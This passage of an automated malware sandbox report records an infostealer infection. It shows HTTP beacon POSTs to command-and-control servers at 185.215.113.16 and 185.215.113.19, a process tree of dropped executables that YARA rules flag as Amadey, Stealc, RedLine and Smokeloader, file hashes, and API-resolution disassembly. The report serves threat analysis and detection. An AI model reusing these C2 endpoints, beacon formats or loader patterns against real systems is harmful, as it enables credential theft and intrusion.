Jul 27, 2024 12:03:08.500431061 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 12:03:09.260102987 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:03:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	49882	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:03:09.179366112 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:03:09.937562943 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:03:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.5	49883	185.215.113.19	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:03:09.378353119 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:03:10.138796091 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:03:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	49884	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:03:09.945838928 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 12:03:10.731729984 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:03:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Target ID:	0
Start time:	06:01:03
Start date:	27/07/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x400000
File size:	249'856 bytes
MD5 hash:	7E43D787C0813212855C05D5CC4B1752
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.2496144397.000000000273D000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.2495938996.00000000026E0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2496187977.0000000002757000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	06:01:21
Start date:	27/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\RoamingIJEGHJECFC.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	06:01:21
Start date:	27/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	06:01:21
Start date:	27/07/2024
Path:	C:\Users\user\AppData\RoamingIJEGHJECFC.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\RoamingIJEGHJECFC.exe"
Imagebase:	0x340000
File size:	1'904'640 bytes
MD5 hash:	610E539A17C4968540877E8577D023AC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000003.2242381283.0000000004AA0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000002.2283337315.0000000000341000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	06:01:23
Start date:	27/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userAAKKKEBFCG.exe"
Imagebase:	0x7ff6d64d0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	06:01:23
Start date:	27/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	06:01:23
Start date:	27/07/2024
Path:	C:\Users\userAAKKKEBFCG.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\userAAKKKEBFCG.exe"
Imagebase:	0x20000
File size:	1'933'824 bytes
MD5 hash:	B4A88BF77C70C536BA5BD36EBEE0135A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000008.00000003.2268996704.00000000050C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000008.00000002.2309282789.0000000000021000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	06:01:24
Start date:	27/07/2024
Path:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"
Imagebase:	0x5a0000
File size:	1'904'640 bytes
MD5 hash:	610E539A17C4968540877E8577D023AC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000003.2276983126.0000000005060000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000002.2317440322.00000000005A1000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	06:01:24
Start date:	27/07/2024
Path:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Imagebase:	0x5a0000
File size:	1'904'640 bytes
MD5 hash:	610E539A17C4968540877E8577D023AC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000B.00000002.2318152598.00000000005A1000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000B.00000003.2277575400.0000000004C30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	06:01:25
Start date:	27/07/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6720 -s 2376
Imagebase:	0x80000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	06:01:27
Start date:	27/07/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"
Imagebase:	0x3d0000
File size:	1'933'824 bytes
MD5 hash:	B4A88BF77C70C536BA5BD36EBEE0135A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000F.00000002.2347124654.00000000003D1000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000F.00000003.2304525460.00000000052E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	06:01:27
Start date:	27/07/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Imagebase:	0x3d0000
File size:	1'933'824 bytes
MD5 hash:	B4A88BF77C70C536BA5BD36EBEE0135A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000010.00000002.2347246471.00000000003D1000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000010.00000003.2304691515.0000000004BD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	06:02:00
Start date:	27/07/2024
Path:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Imagebase:	0x5a0000
File size:	1'904'640 bytes
MD5 hash:	610E539A17C4968540877E8577D023AC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000013.00000003.2625588301.0000000004E20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000013.00000002.3307066431.00000000005A1000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	06:02:00
Start date:	27/07/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Imagebase:	0x3d0000
File size:	1'933'824 bytes
MD5 hash:	B4A88BF77C70C536BA5BD36EBEE0135A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000014.00000003.2630631492.0000000004BA0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000014.00000002.3307509620.00000000003D1000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	06:02:05
Start date:	27/07/2024
Path:	C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe"
Imagebase:	0x400000
File size:	249'856 bytes
MD5 hash:	7E43D787C0813212855C05D5CC4B1752
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000015.00000002.2719081231.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000015.00000002.2718459013.000000000254D000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000015.00000002.2718500578.0000000002567000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	06:02:07
Start date:	27/07/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7968 -s 1332
Imagebase:	0x80000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	06:02:09
Start date:	27/07/2024
Path:	C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe"
Imagebase:	0x560000
File size:	3'206'656 bytes
MD5 hash:	B078D31FC894B91A32E1C40C596FE1EC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	06:02:17
Start date:	27/07/2024
Path:	C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe"
Imagebase:	0x400000
File size:	249'856 bytes
MD5 hash:	7E43D787C0813212855C05D5CC4B1752
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000019.00000002.2829021597.000000000270B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000019.00000002.2828964278.00000000026F2000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000019.00000002.2828820044.00000000026B0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	06:02:19
Start date:	27/07/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 4744 -s 1292
Imagebase:	0x80000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	06:02:25
Start date:	27/07/2024
Path:	C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe"
Imagebase:	0x560000
File size:	3'206'656 bytes
MD5 hash:	B078D31FC894B91A32E1C40C596FE1EC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	06:02:28
Start date:	27/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	06:02:28
Start date:	27/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevation
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	06:02:29
Start date:	27/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	06:02:29
Start date:	27/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2260 -parentBuildID 20230927232528 -prefsHandle 2204 -prefMapHandle 2196 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {37ba41c5-ee86-4e0d-ae50-58ce2311310d} 3712 "\\.\pipe\gecko-crash-server-pipe.3712" 1b10486e910 socket
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	06:02:33
Start date:	27/07/2024
Path:	C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe"
Imagebase:	0x400000
File size:	249'856 bytes
MD5 hash:	7E43D787C0813212855C05D5CC4B1752
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000022.00000002.2994648505.0000000002620000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000022.00000002.2994798598.000000000263A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000022.00000002.2994271346.00000000025E0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	06:02:36
Start date:	27/07/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5168 -s 1036
Imagebase:	0x80000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	06:02:48
Start date:	27/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	06:02:48
Start date:	27/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	06:02:50
Start date:	27/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2200 -parentBuildID 20230927232528 -prefsHandle 2136 -prefMapHandle 2128 -prefsLen 25350 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9f4ac7dc-960f-42f4-ad8d-3d9c0af60b93} 2940 "\\.\pipe\gecko-crash-server-pipe.2940" 193b946bd10 socket
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	4.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.5%
Total number of Nodes:	2000
Total number of Limit Nodes:	40

Executed Functions

Function 004195E0 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,02735E48), ref: 004195FD
GetProcAddress.KERNEL32(75900000,02735EA8), ref: 00419615
GetProcAddress.KERNEL32(75900000,02756D98), ref: 0041962E
GetProcAddress.KERNEL32(75900000,02756D20), ref: 00419646
GetProcAddress.KERNEL32(75900000,02756DB0), ref: 0041965E
GetProcAddress.KERNEL32(75900000,02756D68), ref: 00419677
GetProcAddress.KERNEL32(75900000,027390A0), ref: 0041968F
GetProcAddress.KERNEL32(75900000,02756DC8), ref: 004196A7
GetProcAddress.KERNEL32(75900000,02756D80), ref: 004196C0
GetProcAddress.KERNEL32(75900000,02756D08), ref: 004196D8
GetProcAddress.KERNEL32(75900000,02756D50), ref: 004196F0
GetProcAddress.KERNEL32(75900000,02735EC8), ref: 00419709
GetProcAddress.KERNEL32(75900000,02735CA8), ref: 00419721
GetProcAddress.KERNEL32(75900000,02735CE8), ref: 00419739
GetProcAddress.KERNEL32(75900000,02735D08), ref: 00419752
GetProcAddress.KERNEL32(75900000,02758E50), ref: 0041976A
GetProcAddress.KERNEL32(75900000,02758DD8), ref: 00419782
GetProcAddress.KERNEL32(75900000,02739118), ref: 0041979B
GetProcAddress.KERNEL32(75900000,02735D28), ref: 004197B3
GetProcAddress.KERNEL32(75900000,02758E20), ref: 004197CB
GetProcAddress.KERNEL32(75900000,02758E68), ref: 004197E4
GetProcAddress.KERNEL32(75900000,02758E38), ref: 004197FC
GetProcAddress.KERNEL32(75900000,02758DA8), ref: 00419814
GetProcAddress.KERNEL32(75900000,02735D68), ref: 0041982D
GetProcAddress.KERNEL32(75900000,02758E08), ref: 00419845
GetProcAddress.KERNEL32(75900000,02758DC0), ref: 0041985D
GetProcAddress.KERNEL32(75900000,02758DF0), ref: 00419876
GetProcAddress.KERNEL32(75900000,02758CD0), ref: 0041988E
GetProcAddress.KERNEL32(75900000,02758D78), ref: 004198A6
GetProcAddress.KERNEL32(75900000,02758BE0), ref: 004198BF
GetProcAddress.KERNEL32(75900000,02758C70), ref: 004198D7
GetProcAddress.KERNEL32(75900000,02758D18), ref: 004198EF
GetProcAddress.KERNEL32(75900000,02758AF0), ref: 00419908
GetProcAddress.KERNEL32(75900000,02738F28), ref: 00419920
GetProcAddress.KERNEL32(75900000,02758BF8), ref: 00419938
GetProcAddress.KERNEL32(75900000,02758B98), ref: 00419951
GetProcAddress.KERNEL32(75900000,02735DC8), ref: 00419969
GetProcAddress.KERNEL32(75900000,02758BC8), ref: 00419981
GetProcAddress.KERNEL32(75900000,02735AA8), ref: 0041999A
GetProcAddress.KERNEL32(75900000,02758CB8), ref: 004199B2
GetProcAddress.KERNEL32(75900000,02758D00), ref: 004199CA
GetProcAddress.KERNEL32(75900000,027359E8), ref: 004199E3
GetProcAddress.KERNEL32(75900000,02735AE8), ref: 004199FB
LoadLibraryA.KERNEL32(02758C10,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A0D
LoadLibraryA.KERNEL32(02758C58,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A1E
LoadLibraryA.KERNEL32(02758C28,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A30
LoadLibraryA.KERNEL32(02758BB0,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A42
LoadLibraryA.KERNEL32(02758AC0,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A53
LoadLibraryA.KERNEL32(02758CA0,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A65
LoadLibraryA.KERNEL32(02758C40,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A77
LoadLibraryA.KERNEL32(02758C88,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A88
GetProcAddress.KERNEL32(75FD0000,02735A08), ref: 00419AAA
GetProcAddress.KERNEL32(75FD0000,02758D30), ref: 00419AC2
GetProcAddress.KERNEL32(75FD0000,0273BD78), ref: 00419ADA
GetProcAddress.KERNEL32(75FD0000,02758B68), ref: 00419AF3
GetProcAddress.KERNEL32(75FD0000,02735908), ref: 00419B0B
GetProcAddress.KERNEL32(734B0000,027391B8), ref: 00419B30
GetProcAddress.KERNEL32(734B0000,02735848), ref: 00419B49
